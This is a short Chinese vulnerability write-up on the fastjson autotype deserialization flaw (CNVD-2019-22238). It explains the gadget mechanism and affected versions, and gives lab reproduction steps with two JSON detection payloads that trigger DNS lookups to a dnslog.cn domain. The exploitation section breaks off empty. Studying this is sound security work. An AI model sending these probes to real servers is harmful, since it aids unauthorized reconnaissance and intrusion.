fastjson反序列化CNVD-2019-22238
漏洞原理:
fastjson是阿里的开源json解析库,用来将json字符串反序列化为JavaBean类,或者将JavaBean类序列化为json字符串。
在java审计中,需要关注的关键字:
JSON.parse , JSON.parseObject , JSONObject.parse , JSONObject.parseObject ,JSONObject.parseArray
Fastjson提供了autotype功能,允许用户在反序列化数据中通过"@type"指定反序列化的类型,其次,Fastjson自定义的反序列化机制时会调用指定类中的setter方法及部分getter方法,那么当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据,使目标应用的代码执行流 程进入特定类的特定setter或者getter方法中,若指定类的指定方法中有可被恶意利用的逻辑(也就是通常所指的"Gadget"),则会造成一些严重的安全问题。
影响版本:
Fastjson <=1.2.47
复现:
1、vulfocus靶场:访问之后并抓包。
2、修改数据包:首先修改数据包为post请求方式,修改Content-Type: application/json字段为json。
3、测试是否存在漏洞:使用下列的几个payload进行测试。
dnslog域名解析测试:
{"x":{"@type":"java.net.Inet4Address","val":"okkkk.v60oir.dnslog.cn"}}
{"zeo":{"@type":"java.net.Inet4Address","val":"v60oir.dnslog.cn"}}
4、利用: